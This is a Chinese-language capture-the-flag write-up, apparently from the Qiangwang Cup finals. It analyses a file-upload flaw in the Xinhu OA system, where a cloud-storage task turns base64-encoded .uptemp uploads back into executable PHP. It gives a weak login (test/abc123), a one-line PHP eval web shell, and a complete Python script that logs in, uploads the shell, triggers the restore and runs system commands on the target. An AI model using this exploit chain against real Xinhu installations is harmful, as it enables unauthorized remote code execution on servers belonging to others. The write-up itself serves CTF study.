文章目錄
- 寫在前面
- 分析
- 腳本
寫在前面
本次強網杯決賽的一個題,還是蠻有意思的,代碼可以在github拿到
https://github.com/rainrocka/xinhu
分析
首先這個系統存在弱密碼,在題目給的sql檔案當中通過線上md5得到
test/abc123
接下來就是随便找一個地方進行檔案上傳
我們抓包看看對這個php檔案進行了什麼處理,其調用了
webmain/task/api/uploadAction.php
下uploadClassAction類的upfileAction函數
引入插件,執行個體化
upfileChajian
類
跳過不需太過于關注的部分,我們跟蹤
up
函數
看看issavefile
是一個白名單很明顯php字尾不符合
跳過不相幹一堆函數
可以很明顯的發現這類白名單外的檔案會被改字尾為
uptemp
内容為原來内容的base64編碼結果,猜測估計是為了防止檔案包含,不過都到這裡了确實有點小單純
接下來就是最關鍵的地方,在
webmain\task\runt\qcloudCosAction.php
騰訊雲存儲下的
qcloudCosClassAction
的
run
方法,根據id從資料庫取出資料,接下來看圖
一方面恢複了php字尾,另一方面内容也通過base64還原了
運作下下面的腳本可以看見成功執行whoami
腳本
<?php eval($_GET["1"]);?>
import requests
session = requests.session()
url_pre = 'http://url/'
url1 = url_pre + '?a=check&m=login&d=&ajaxbool=true&rnd=533953'
url2 = url_pre + '/index.php?a=upfile&m=upload&d=public&maxsize=100&ajaxbool=true&rnd=798913'
url3 = url_pre + '/task.php?m=qcloudCos|runt&a=run&fileid=11'
data1 = {
'rempass': '0',
'jmpass': 'false',
'device': '1625884034525',
'ltype': '0',
'adminuser': 'dGVzdA::',
'adminpass': 'YWJjMTIz',
'yanzm': ''
}
r = session.post(url1, data=data1)
r = session.post(url2, files={'file': open('1.php', 'r+')})
filepath = str(r.json()['filepath'])
filepath = "/" + filepath.split('.uptemp')[0] + '.php'
id = r.json()['id']
url3 = url_pre + f'/task.php?m=qcloudCos|runt&a=run&fileid={id}'
r = session.get(url3)
r = session.get(url_pre + filepath + "?1=system('whoami');")
print(r.text)